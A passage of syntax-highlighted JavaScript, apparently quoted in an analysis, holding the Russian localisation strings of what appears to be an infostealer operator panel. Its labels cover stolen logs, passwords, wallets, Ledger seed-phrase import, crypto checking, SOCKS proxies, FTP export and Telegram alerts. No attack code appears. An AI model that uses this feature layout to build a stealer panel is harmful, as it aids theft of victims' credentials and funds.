font-style: inherit;">`Логи по заданным параметрам не найдены.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-759">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">walletsShort</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Кош.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-760">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passShort</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароли`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-761">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">domainsShort</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Домены`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-762">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">valuableDomains</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ценные домены`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-763">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">isDup</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Дубликат`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-764">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">searchModal</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-765">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">command</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Команда`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-766">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dateStart</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Дата начала`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-767">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dateEnd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Дата окончания`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-768">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">timeStart</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Время начала`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-769">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">timeEnd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Время окончания`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-770">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">hour</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Час`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-771">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">day</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`День`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-772">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">week</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неделя`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-773">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">month</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Месяц`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-774">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">year</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Год`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-775">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">all</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Всё`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-776">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">domains</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Домены`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-777">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">wallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Кошельки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-778">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">countries</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Страны`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-779">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteCountries</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Исключить страны`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-780">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID Лога`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-781">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildTags</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Теги сборки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-782">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statusAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Статус (Все)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-783">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unchecked</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Непроверенные`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-784">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">checked</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Проверенные`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-785">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-786">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">search</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Поиск`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-787">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">reset</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сбросить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-788">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Отмена`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-789">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dateTimeRangeHeader</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Дата и время`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-790">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">quickSelectHeader</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Быстрый выбор`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-791">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">advancedFiltersHeader</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Расширенные фильтры`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-792">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">additionalFiltersHeader</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Дополнительные фильтры`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-793">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statusLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Статус`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-794">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ipAddressLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP Адрес`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-795">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">onlyCryptoWallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Только логи с Ledger/Exodus/Metamask`</span></span>
<span id="cb28-796">            }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-797">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">balance</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Баланс`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-798">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">haveTelegram</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Есть Telegram`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-799">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">notesCount</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Количество заметок`</span></span>
<span id="cb28-800">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-801">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">settings</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-802">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">account</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Аккаунт`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-803">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">changePassword</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Изменить пароль`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-804">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">saveChanges</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сохранить изменения`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-805">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">telegram</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Telegram`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-806">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">botToken</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Токен Telegram бота`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-807">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID чата Telegram`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-808">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdNotifications</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID чата Telegram для уведомлений`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-809">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdCrypto</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ChatID только для крипто`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-810">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdLedger</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ChatID для импорта seed-фраз ledger`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-811">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cryptochecker</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Крипточекер`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-812">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">antidup</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Анти-дубликат`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-813">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ftp</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FTP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-814">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">host</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Хост`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-815">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">username</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Имя пользователя`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-816">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">password</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароль`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-817">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">directory</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Директория`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-818">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">directoryPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`напр., /host/data/main`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-819">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">save</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сохранить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-820">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Отмена`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-821">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">interface</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Интерфейс`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-822">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">animations</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Анимации`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-823">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">telegramTemplate</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Шаблон сообщения Telegram`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-824">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">telegramTemplateDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Настройте сообщение уведомления, отправляемое в Telegram. Используйте теги, такие как {{ID}}, для вставки динамических данных.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-825">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">preview</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Предпросмотр`</span></span>
<span id="cb28-826">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-827">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">socks</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-828">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">filter</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Фильтр`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-829">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">proxyIp</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP прокси`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-830">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Страна`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-831">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Действие`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-832">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copyUrl</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Копировать URL`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-833">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">delete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-834">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loading</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Загрузка...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-835">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noResults</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Результаты не найдены.`</span></span>
<span id="cb28-836">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-837">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">alert</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-838">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">error</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-839">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copied</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Скопировано`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-840">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copyCommand</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Копировать Команду`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-841">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">isRequired</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`обязательно`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-842">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">notification</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Уведомление`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-843">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmAction</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подтвердите действие`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-844">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">httpError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`HTTP Ошибка`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-845">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">success</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Успех`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-846">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">nonJson</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не JSON ответ`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-847">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedAction</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось выполнить действие: {{action}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-848">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">commandSentSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Команда {{action}} успешно отправлена.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-849">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownErrorAction</span><span class="op" style="color: #5E5E5E;
background-color: null;
